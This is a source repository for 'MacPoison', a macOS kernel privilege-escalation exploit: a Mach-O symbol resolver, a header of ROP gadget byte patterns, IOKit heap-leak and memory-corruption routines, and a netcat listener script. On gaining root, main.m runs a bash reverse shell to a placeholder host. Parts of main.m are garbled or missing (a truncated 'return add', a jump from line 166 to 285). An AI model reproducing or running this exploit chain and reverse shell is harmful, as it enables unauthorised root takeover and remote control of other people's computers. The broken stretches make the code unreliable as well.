├── .gitignore ├── Makefile ├── RemoteShell.sh ├── import.h ├── lsym.h ├── lsym.m ├── lsym_gadgets.h └── main.m /.gitignore: -------------------------------------------------------------------------------- 1 | # Object files 2 | *.o 3 | *.ko 4 | *.obj 5 | *.elf 6 | 7 | # Precompiled Headers 8 | *.gch 9 | *.pch 10 | 11 | # Libraries 12 | *.lib 13 | *.a 14 | *.la 15 | *.lo 16 | 17 | # Shared objects (inc. Windows DLLs) 18 | *.dll 19 | *.so 20 | *.so.* 21 | *.dylib 22 | 23 | # Executables 24 | *.exe 25 | *.out 26 | *.app 27 | *.i*86 28 | *.x86_64 29 | *.hex 30 | 31 | # Debug files 32 | *.dSYM/ 33 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc *.m -o MacPoison -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3 3 | strip MacPoison 4 | -------------------------------------------------------------------------------- /RemoteShell.sh: -------------------------------------------------------------------------------- 1 | echo this is an example, how to wait for an remote shell 2 | echo NetCat must be installed 3 | echo chance the port to the same as in the exploit 4 | echo nc -l -p 5 | echo starting listening.. 6 | nc -l -p 1337 7 | -------------------------------------------------------------------------------- /import.h: -------------------------------------------------------------------------------- 1 | #ifndef pwn_import_h 2 | #define pwn_import_h 3 | 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | 31 | #include "lsym.h" 32 | #include "lsym_gadgets.h" 33 | 34 | #endif 35 | -------------------------------------------------------------------------------- /lsym.h: -------------------------------------------------------------------------------- 1 | #ifndef __pwn__lsym__ 2 | #define __pwn__lsym__ 3 | 4 | #include 5 | #include "import.h" 6 | 7 | #define JUNK_VALUE 0x1337133713371337 8 | 9 | 10 | typedef struct kernel_fake_stack { 11 | uint64_t __cnt; 12 | uint64_t __padding[0x4999]; 13 | uint64_t __rop_chain[0x5000]; 14 | } kernel_fake_stack_t; 15 | 16 | #define LSYM_PAYLOAD_VTABLE 1 17 | 18 | struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname); 19 | struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name); 20 | struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd); 21 | 22 | typedef struct lsym_map { 23 | void* map; 24 | const char* path; 25 | size_t sz; 26 | } lsym_map_t; 27 | 28 | typedef enum { 29 | LSYM_DO_NOT_REBASE = (1 << 0) 30 | } lsym_gadget_flags; 31 | 32 | typedef uint64_t lsym_map_pointer_t; 33 | typedef uint64_t lsym_kern_pointer_t; 34 | typedef uint64_t lsym_slidden_kern_pointer_t; 35 | typedef uint64_t lsym_offset_t; 36 | 37 | lsym_kern_pointer_t kext_pointer(const char* identifier); 38 | lsym_map_t *lsym_map_file(const char *path); 39 | lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name); 40 | lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags); 41 | lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping); 42 | lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer); 43 | lsym_offset_t lsym_vm_addrperm(); 44 | 45 | typedef struct kernel_exploit_vector kernel_exploit_vector_t; 46 | 47 | #endif /* defined(__pwn__lsym__) */ 48 | -------------------------------------------------------------------------------- /lsym.m: -------------------------------------------------------------------------------- 1 | #include "lsym.h" 2 | #import 3 | 4 | #include 5 | 6 | struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname); 7 | struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name); 8 | struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd); 9 | extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); 10 | 11 | 12 | extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); 13 | #ifdef FIND_KERNEL_SLIDE 14 | static lsym_offset_t kaslr_slide=0; 15 | static char kaslr_slide_found =0; 16 | #endif 17 | 18 | __attribute__((always_inline)) 19 | lsym_kern_pointer_t kext_pointer(const char* identifier){ 20 | return (lsym_kern_pointer_t)[((NSNumber*)(((__bridge NSDictionary*)OSKextCopyLoadedKextInfo(NULL, NULL))[[NSString stringWithUTF8String:identifier]][@"OSBundleLoadAddress"])) unsignedLongLongValue]; 21 | } 22 | 23 | __attribute__((always_inline)) 24 | lsym_map_t *lsym_map_file(const char *path) { 25 | int fd=open(path, O_RDONLY); 26 | if(fd < 0) return 0; 27 | struct stat sb; 28 | fstat(fd, &sb); 29 | if (sb.st_size < 0x1000) { 30 | return 0; 31 | } 32 | void* map = mmap(NULL, sb.st_size & 0xFFFFFFFF, PROT_READ, MAP_SHARED, fd, 0); 33 | lsym_map_t* ret = (lsym_map_t*)malloc(sizeof(lsym_map_t)); 34 | ret->map = map; 35 | ret->path = path; 36 | ret->sz = sb.st_size & 0xFFFFFFFF; 37 | return ret; 38 | } 39 | 40 | __attribute__((always_inline)) 41 | lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags) { 42 | lsym_offset_t off=(lsym_offset_t)memmem(mapping->map, mapping->sz, bytes, size); 43 | if (!off) { 44 | puts("[-] Couldn't find a ROP gadget, aborting."); 45 | exit(1); 46 | } 47 | return lsym_slide_pointer(((flags & LSYM_DO_NOT_REBASE) == 0 ? lsym_kernel_base(mapping) : 0)+(off - (lsym_offset_t) mapping->map)); 48 | } 49 | 50 | __attribute__((always_inline)) 51 | lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping) { 52 | struct mach_header_64 *mh = mapping->map; 53 | struct segment_command_64 *text = find_segment_64(mh, SEG_TEXT); 54 | return (lsym_kern_pointer_t)text->vmaddr; 55 | } 56 | __attribute__((always_inline)) 57 | lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name) { 58 | struct mach_header_64 *mh = mapping->map; 59 | struct symtab_command *symtab = NULL; 60 | struct segment_command_64 *linkedit = NULL; 61 | /* 62 | * Check header 63 | */ 64 | if (mh->magic != MH_MAGIC_64) { 65 | return (lsym_kern_pointer_t)NULL; 66 | } 67 | 68 | /* 69 | * Find the LINKEDIT and SYMTAB sections 70 | */ 71 | linkedit = find_segment_64(mh, SEG_LINKEDIT); 72 | if (!linkedit) { 73 | return (lsym_kern_pointer_t)NULL; 74 | } 75 | 76 | symtab = (struct symtab_command *)find_load_command(mh, LC_SYMTAB); 77 | if (!symtab) { 78 | return (lsym_kern_pointer_t)NULL; 79 | } 80 | void* symtabp = symtab->stroff + 4 + (char*)mh; 81 | void* symtabz = symtab->stroff + (char*)mh; 82 | void* symendp = symtab->stroff + (char*)mh + symtab->strsize - 0xA; 83 | uint32_t idx = 0; 84 | while (symtabp < symendp) { 85 | if(strcmp(symtabp, name) == 0) goto found; 86 | symtabp += strlen((char*)symtabp) + 1; 87 | idx++; 88 | } 89 | printf("[-] symbol %s not resolved.\n", name); exit(0); 90 | return (lsym_kern_pointer_t)NULL; 91 | found:; 92 | struct nlist_64* nlp = (struct nlist_64*) (((uint32_t)(symtab->symoff)) + (char*)mh); 93 | uint64_t strx = ((char*)symtabp - (char*)symtabz); 94 | unsigned int symp = 0; 95 | while(symp <= (symtab->nsyms)) { 96 | uint32_t strix = *((uint32_t*)nlp); 97 | if(strix == strx) 98 | goto found1; 99 | nlp ++; //sizeof(struct nlist_64); 100 | symp++; 101 | } 102 | printf("[-] symbol not found: %s\n", name); 103 | exit(-1); 104 | found1: 105 | //printf("[+] found symbol %s at 0x%016llx\n", name, nlp->n_value); 106 | return (lsym_kern_pointer_t)nlp->n_value; 107 | 108 | } 109 | 110 | __attribute__((always_inline)) 111 | struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname) 112 | { 113 | struct load_command *lc; 114 | struct segment_command_64 *s, *fs = NULL; 115 | lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64)); 116 | while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { 117 | if (lc->cmd == LC_SEGMENT_64) { 118 | s = (struct segment_command_64 *)lc; 119 | if (!strcmp(s->segname, segname)) { 120 | fs = s; 121 | break; 122 | } 123 | } 124 | lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); 125 | } 126 | return fs; 127 | } 128 | 129 | __attribute__((always_inline)) 130 | struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name) 131 | { 132 | struct section_64 *sect, *fs = NULL; 133 | uint32_t i = 0; 134 | for (i = 0, sect = (struct section_64 *)((uint64_t)seg + (uint64_t)sizeof(struct segment_command_64)); 135 | i < seg->nsects; 136 | i++, sect = (struct section_64 *)((uint64_t)sect + sizeof(struct section_64))) 137 | { 138 | if (!strcmp(sect->sectname, name)) { 139 | fs = sect; 140 | break; 141 | } 142 | } 143 | return fs; 144 | } 145 | 146 | __attribute__((always_inline)) 147 | struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd) 148 | { 149 | struct load_command *lc, *flc; 150 | lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64)); 151 | while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { 152 | if (lc->cmd == cmd) { 153 | flc = (struct load_command *)lc; 154 | break; 155 | } 156 | lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); 157 | } 158 | return flc; 159 | } 160 | -------------------------------------------------------------------------------- /lsym_gadgets.h: -------------------------------------------------------------------------------- 1 | #ifndef ROP_PIVOT_RAX 2 | /* Short verion of lsym_slide_pointer(lsym_find_symbol()) */ 3 | 4 | #define RESOLVE_SYMBOL(map, name) lsym_slide_pointer(lsym_find_symbol(map, name)) 5 | 6 | /* ROP gadgets present in 10.10 */ 7 | 8 | // stack pivot 9 | #define ROP_PIVOT_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 13, 0) 10 | #define ROP_POP_R14_R15_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 6, 0) 11 | #define ROP_R14_TO_RCX_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF1,0xFF,0x10}), 5, 0) 12 | #define ROP_R14_TO_RDI_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF7,0xFF,0x10}), 5, 0) 13 | 14 | #define ROP_AND_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x21,0xc8,0x5d,0xC3}), 5 , 0) 15 | #define ROP_OR_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x09,0xc8,0x5d,0xC3}), 5 , 0) 16 | #define ROP_RCX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0xBA, 0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 9 , 0) 17 | 18 | // advanced register control (experimental) - many of these gadget do not require stack pivoting, but allow for register control and register based flow control (which lets us back up registers that our pivot corrupts). 19 | // how the fuck do these gadgets even exist lmao 20 | 21 | #define ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x5D, 0xFF, 0xE1}), 6, 0); 22 | #define ROP_RAX_TO_RSI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC6, 0x5D, 0xFF, 0xE1}), 6, 0); 23 | #define ROP_RBX_TO_RSI_CALL_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0xD1}), 5, 0); // This function does movq rbx, rsi; callq *rcx. so *rcx should point to a pop gadget. 24 | #define ROP_RAX_TO_RCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 8, 0); 25 | #define ROP_CR4_TO_RAX_WRITE_RAX_TO_pRCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x20, 0xE0, 0x48, 0x89, 0x01, 0x5D, 0xC3}), 8 , 0) 26 | #define ROP_RAX_TO_CR4_WRITE_ESI_TO_60H_RDI_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x22, 0xE0, 0x89, 0x77, 0x60, 0x5D, 0xC3}), 8 , 0) 27 | #define ROP_PUSH_RBP_8H_RDI_TO_RAX_JMP_0H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x8B, 0x47, 0x08, 0x5D, 0xFF, 0x20}), 0xB , 0) 28 | #define ROP_RAX_TO_RDI_RCX_TO_RSI_CALL_58H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x48, 0x89, 0xCE, 0xFF, 0x50, 0x58}), 9 , 0) 29 | #define ROP_POP_RBX_RBP_JMP_28H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0x5D, 0xFF, 0x60, 0x28}), 5 , 0) 30 | #define ROP_WRITE_RBX_WHAT_R14_WHERE_POP_ _POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x49, 0x89, 0x1E, 0x5B, 0x41, 0x5E, 0x5D, 0xC3}), 8 , 0) 31 | #define ROP_POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5E, 0x5D, 0xC3}), 4, 0) 32 | #define ROP_RBX_TO_RSI_CALL_30H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0x50, 0x30}), 6, 0) 33 | #define ROP_RDI_TO_RBX_CALL_130H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xFB, 0xFF, 0x90, 0x30, 0x01, 0x00, 0x00}), 9, 0) 34 | #define ROP_RSI_TO_RBX_CALL_178H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF3, 0xFF, 0x90, 0x78, 0x01, 0x00, 0x00}), 9, 0) 35 | #define ROP_RSI_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF0, 0x5d, 0xC3}), 5, 0) 36 | #define ROP_INC_48H_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0xff, 0x40, 0x48, 0x5d, 0xC3}), 6, 0) 37 | // register control 38 | #define ROP_POP_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x58, 0xC3}), 2 , 0) 39 | #define ROP_POP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x59, 0xC3}), 2 , 0) 40 | #define ROP_POP_RDX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5A, 0xc3}), 2 , 0) 41 | #define ROP_POP_RBX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0xc3}), 2 , 0) 42 | #define ROP_POP_RSP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0xC3}), 2 , 0) 43 | #define ROP_POP_RSP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0x5d, 0xC3}), 3 , 0) 44 | #define ROP_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5D, 0xc3}), 2 , 0) 45 | #define ROP_POP_RSI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5E, 0xc3}), 2 , 0) 46 | #define ROP_POP_RDI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5F, 0xc3}), 2 , 0) 47 | #define ROP_RSI_TO_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x89, 0xF0, 0x5D, 0xC3}), 9 , 0) 48 | 49 | // write gadgets 50 | #define ROP_WRITE_RDX_WHAT_RCX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x11,0x5D,0xC3}), 5 , 0) 51 | #define ROP_WRITE_RAX_WHAT_RDX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x02,0x5D,0xC3}), 5 , 0) 52 | 53 | // read gadget 54 | #define ROP_READ_RAX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x8B,0x00,0x5D,0xC3}), 5 , 0) 55 | 56 | 57 | // simple nop. 0x90 is added to avoid 0xC3 matching non-executable kernel contents. 58 | 59 | #define ROP_NULL_OP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x90, 0xC3}), 2, 0); 60 | 61 | // helpers 62 | 63 | #define PUSH_GADGET(stack) stack->__rop_chain[stack->__cnt++] 64 | #define ROP_ARG1(stack, map, value) ROP_POP_RDI(map); PUSH_GADGET(stack) = value; 65 | #define ROP_ARG2(stack, map, value) ROP_POP_RSI(map); PUSH_GADGET(stack) = value; 66 | #define ROP_ARG3(stack, map, value) ROP_POP_RDX(map); PUSH_GADGET(stack) = value; 67 | #define ROP_ARG4(stack, map, value) ROP_POP_RCX(map); PUSH_GADGET(stack) = value; 68 | #define ROP_RAX_TO_ARG1(stack, map) ROP_POP_RCX(map); PUSH_GADGET(stack) = ROP_NULL_OP(map); PUSH_GADGET(stack) = ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map); PUSH_GADGET(stack) = JUNK_VALUE; 69 | #endif 70 | -------------------------------------------------------------------------------- /main.m: -------------------------------------------------------------------------------- 1 | // 2 | // main.c 3 | //This Exploit was desperated in 2015 in the inital release of OSX El Captian. 4 | // Using the knowledge of Luca Todesco, i was able to create a exploit chain, to get full root access using the 5 | // Safari web broweser with MacKeeper installed. 6 | // Due MacKeepers unsafe URL Handling, i was able to use a Base64 webrequest to access the shell on OSX with elevated privileges, 7 | // after that, the KASLR exploit gave me the option, to edit the LauchDaemons plist section to gain root access, althougt the system 8 | //has been rebooted. 9 | #include 10 | static uint64_t kslide=0; 11 | #define ALLOCS 0x100 12 | #import "import.h" 13 | #import "lsym_gadgets.h" 14 | 15 | 16 | 17 | static mach_port_t servicea = 0; 18 | static mach_port_t servicex = 0; 19 | __attribute__((always_inline)) inline 20 | lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) { 21 | if (!pointer) return pointer; 22 | return (lsym_slidden_kern_pointer_t) pointer + kslide; 23 | } 24 | 25 | __attribute__((always_inline)) static inline 26 | uint64_t alloc(uint32_t addr, uint32_t sz) { 27 | vm_deallocate(mach_task_self(), (vm_address_t) addr, sz); 28 | vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0); 29 | while(sz--) *(char*)(addr+sz)=0; 30 | return add 31 | __attribute__((always_inline)) static inline 32 | uint64_t leak_heap_ptr(io_connect_t* co) { 33 | io_connect_t conn = MACH_PORT_NULL; 34 | if(IOServiceOpen(servicea, mach_task_self(), 0, co) != KERN_SUCCESS) { 35 | puts("failed\n"); 36 | exit(-20); 37 | } 38 | uint64_t scalarO_64=0; 39 | uint32_t outputCount = 1; 40 | IOConnectCallScalarMethod(*co, 2, NULL, 0, &scalarO_64, &outputCount); 41 | if (!scalarO_64) { 42 | puts("Info Leak failed.\n"); 43 | exit(-20); 44 | } 45 | scalarO_64 <<= 8; 46 | scalarO_64 |= 0xffffff0000000000; 47 | return scalarO_64; 48 | } 49 | typedef struct { 50 | mach_msg_header_t header; 51 | mach_msg_body_t body; 52 | mach_msg_ool_descriptor_t desc; 53 | mach_msg_trailer_t trailer; 54 | } oolmsg_t; 55 | static uint16_t off_w = 0; 56 | __attribute__((always_inline)) static inline 57 | void or_everywhere(uint64_t add) { 58 | io_connect_t conn = MACH_PORT_NULL; 59 | IOServiceClose(0); 60 | IOServiceOpen(0,0,0,0); 61 | alloc(0, 0x1000); 62 | volatile uint64_t* mp = (uint64_t*) 0; 63 | if(!off_w) { 64 | while ((uint32_t)mp < 0xC00) { 65 | *mp=(uint64_t)0xC00; 66 | mp++; 67 | } 68 | IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); 69 | IOServiceClose(conn); 70 | char* kp=(char*)0xC00; 71 | while ((uint32_t)kp < 0x1000) { 72 | if (*kp == 0x10) { 73 | break; 74 | } 75 | kp++; 76 | } 77 | if ((uint32_t)kp == 0x1000) { 78 | vm_deallocate(mach_task_self(), 0, 0x1000); 79 | puts("not vulnerable"); 80 | exit(-1); 81 | } 82 | mp=0; 83 | while ((uint32_t)mp < 0xC00) { 84 | *mp=(uint64_t)0xC00 - (uint32_t)(kp-0xC00); 85 | mp++; 86 | } 87 | IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); 88 | IOServiceClose(conn); 89 | if (*((char*)0xC00)!=0x10) { 90 | vm_deallocate(mach_task_self(), 0, 0x1000); 91 | puts("wrong offset"); 92 | exit(-2); 93 | } 94 | off_w = (uint16_t) kp - 0xc00; 95 | } 96 | mp=0; 97 | while ((uint32_t)mp < 0xC00) { 98 | *mp=(uint64_t)(add - off_w); 99 | mp++; 100 | } 101 | IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); 102 | vm_deallocate(mach_task_self(), 0, 0x1000); 103 | IOServiceClose(conn); 104 | } 105 | __attribute__((always_inline)) static inline 106 | void send_kern_data(char* vz, size_t svz, mach_port_t* msgp) { 107 | oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1); 108 | if(!*msgp){ 109 | mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, msgp); 110 | mach_port_insert_right(mach_task_self(), *msgp, *msgp, MACH_MSG_TYPE_MAKE_SEND); 111 | } 112 | bzero(msg,sizeof(oolmsg_t)); 113 | msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 114 | msg->header.msgh_bits |= MACH_MSGH_BITS_COMPLEX; 115 | msg->header.msgh_remote_port = *msgp; 116 | msg->header.msgh_local_port = MACH_PORT_NULL; 117 | msg->header.msgh_size = sizeof(oolmsg_t); 118 | msg->header.msgh_id = 1; 119 | msg->body.msgh_descriptor_count = 1; 120 | msg->desc.address = (void *)vz; 121 | msg->desc.size = svz; 122 | msg->desc.type = MACH_MSG_OOL_DESCRIPTOR; 123 | mach_msg( (mach_msg_header_t *) msg, MACH_SEND_MSG, sizeof(oolmsg_t), 0, 0, 0, 0 ); 124 | free(msg); 125 | } 126 | __attribute__((always_inline)) static inline 127 | char* read_kern_data(mach_port_t port) { 128 | oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1); 129 | bzero(msg,sizeof(oolmsg_t)+0x2000); 130 | mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG, 0, sizeof(oolmsg_t)+0x2000, (port), 0, MACH_PORT_NULL); 131 | return msg->desc.address; 132 | } 133 | int main(int argc, char** argv, char** envp){ 134 | 135 | if (getuid() == 0) { 136 | printf("Nothing to do..\n"); 137 | printf("Success!\n"); 138 | printf("Sending root shell..."); 139 | sleep(2); 140 | system("bash -i >& /dev/tcp// 0>&1"); 141 | printf("Done, exiting...\n"); 142 | exit(0); 143 | 144 | } 145 | if((int)main < 0x5000) execve(argv[0],argv,envp); 146 | lsym_map_t* mapping_kernel=lsym_map_file("/mach_kernel"); 147 | if (!mapping_kernel || !mapping_kernel->map) { 148 | mapping_kernel=lsym_map_file("/System/Library/Kernels/kernel"); 149 | } 150 | lsym_map_t* mapping_audio=lsym_map_file("/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily"); 151 | kslide = kext_pointer("com.apple.iokit.IOAudioFamily") + RESOLVE_SYMBOL(mapping_audio, "__ZTV23IOAudioEngineUserClient") + 0x10; 152 | sync(); 153 | kern_return_t err; 154 | io_iterator_t iterator; 155 | IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"), &iterator); 156 | servicex = IOIteratorNext(iterator); 157 | IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOAudioEngine"), &iterator); 158 | servicea = IOIteratorNext(iterator); 159 | uint64_t c = 0; 160 | or_everywhere((uint64_t)&c); 161 | if (c != 0x10) { 162 | puts("not vulnerable"); 163 | return 2; 164 | } 165 | int ctr=0; 166 | #define DO_TIMES(x) for(ctr=0;ctr__rop_chain; 285 | 286 | or_everywhere(heap_info[1].kobject+0x220); 287 | or_everywhere(heap_info[1].kobject+0x208); 288 | alloc(0, 0x1000); 289 | volatile uint64_t* mp = (uint64_t*) 0x10; 290 | mp[0] = (uint64_t)0; 291 | mp[1] = (uint64_t)vtable; 292 | mp[2] = (uint64_t)&mp[1]; 293 | uint64_t xn = IOConnectRelease((io_connect_t )heap_info[1].connect); 294 | vm_deallocate(mach_task_self(), 0, 0x1000); 295 | setuid(0); 296 | if (getuid() == 0) { 297 | printf("Success!\n"); 298 | printf("Sending root shell..."); 299 | sleep(2); 300 | system("bash -i >& /dev/tcp/YourIP/YourPort 0>&1"); 301 | printf("Done, exiting...\n"); 302 | exit(0); 303 | } 304 | 305 | puts("didn't get root, but this system is vulnerable.\n"); 306 | puts("kernel heap may be corrupted\n"); 307 | return 1; 308 | } 309 | --------------------------------------------------------------------------------